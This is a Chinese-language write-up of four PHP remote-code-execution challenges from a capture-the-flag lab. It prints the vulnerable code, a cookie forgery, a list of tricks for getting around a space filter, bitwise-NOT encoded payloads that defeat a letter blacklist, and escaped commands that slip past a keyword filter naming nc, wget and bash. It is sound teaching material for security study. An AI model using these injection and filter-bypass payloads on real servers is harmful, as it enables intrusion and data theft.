1.easyrce:
打开环境,直接提示后端代码
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?>
可以看出来get一个url变量之后当作命令执行,先phpinfo();一下
有回显,那就直接找文件
system('ls');
system('ls ../');
system('ls ../../');
system('ls ../../../');
找到flag
接着打开它(f*是通配符,匹配所有f开头文件)
system('cat ../../../f*');
得到flag
2.babyrce
打开环境,已经给出了代码
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1)
{
include "../next.php";
}
else
echo "小饼干最好吃啦!";
?>
可以看出来是要使cookie值admin为1才能进行下一步,burpsuit抓包,将cookie项改为:admin=1,发送,可以看见给出了另一个文件的地址
打开,发现另一串代码:
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
?>
可以看见这一行
if(preg_match(“/ /”, $ip))
也就说如果传入的$ip里面有空格,会弹出nonono,并且会将传入的url值当作系统指令执行。
空格绕过的方法有很多,这里我放上error0的《浅谈基础RCE》里面说的空格绕过解决方式(文章地址:https://blog.csdn.net/qq_51295677/article/details/122629200)
%09(url传递)(tab)
%20(space)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
$IFS
{cat,flag}//花括号
选哪一个都可以,我就用第一个了
?url=ls;//和第一个一样的我就不写了
?url=ls%09../;
?url=cat%09../../../f*;
最终得到flag
3.hardrce
查看代码,难度更上一层
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!
先是用黑名单过滤了各种符号
$blacklist = [’ ‘,’\t’,‘\r’,‘\n’,‘+’,‘[’,‘^’,‘]’,‘"’,‘-’,‘$’,‘*’,‘?’,‘<’,‘>’,‘=’,‘`’,];
然后是正则表达式过滤了字母
if(preg_match(‘/[a-zA-Z]/is’,$wllm))
可以选择使用取反运算对命令加密:
<?php
$a="system";
$b="ls";
echo urlencode(~$a);
echo "\n";
echo urlencode(~$b);
?>
得到
%8C%86%8C%8B%9A%92
%93%8C
然后传参:
?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C);
即可完成绕过,接下来就重复上述步骤
最终得到flag
解释一下这个取反,使用了 PHP 中的 Bitwise NOT (~) 运算符对字符串进行取反,然后将取反后的结果使用 urlencode 函数进行 URL 编码。浏览器对url编码进行解码后可以绕过检测,并且通过~逆向运行代码。
4.finalrce
查看代码,这段 PHP 代码接受一个名为 “url” 的 GET 请求参数,然后使用 preg_match 函数对该参数进行正则匹配,检查其中是否包含一些危险的命令和特殊符号,比如 bash、nc、wget、ping、ls、cat、more、less、phpinfo、base64、echo、php、python、mv、cp、la、-、*、"、>、<、%、$ 等。
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}
还要注意的是,exec函数不会返回内容到网页,所以需要我们用别的方式
url=l\s / | tee 2.txt
代码含义:
l\s /:越过过滤并列出根目录下的文件和目录。
|:将前一个命令的输出作为后一个命令的输入。
tee 1.txt:将输出复制一份并输出到终端窗口以及写入到名为1.txt的文件中。
然后访问1.txt,得到目录
接着传入参数
?url=c\at /flllll\aaaaaaggggggg | tee 2.txt
再访问2.txt,可以获得flag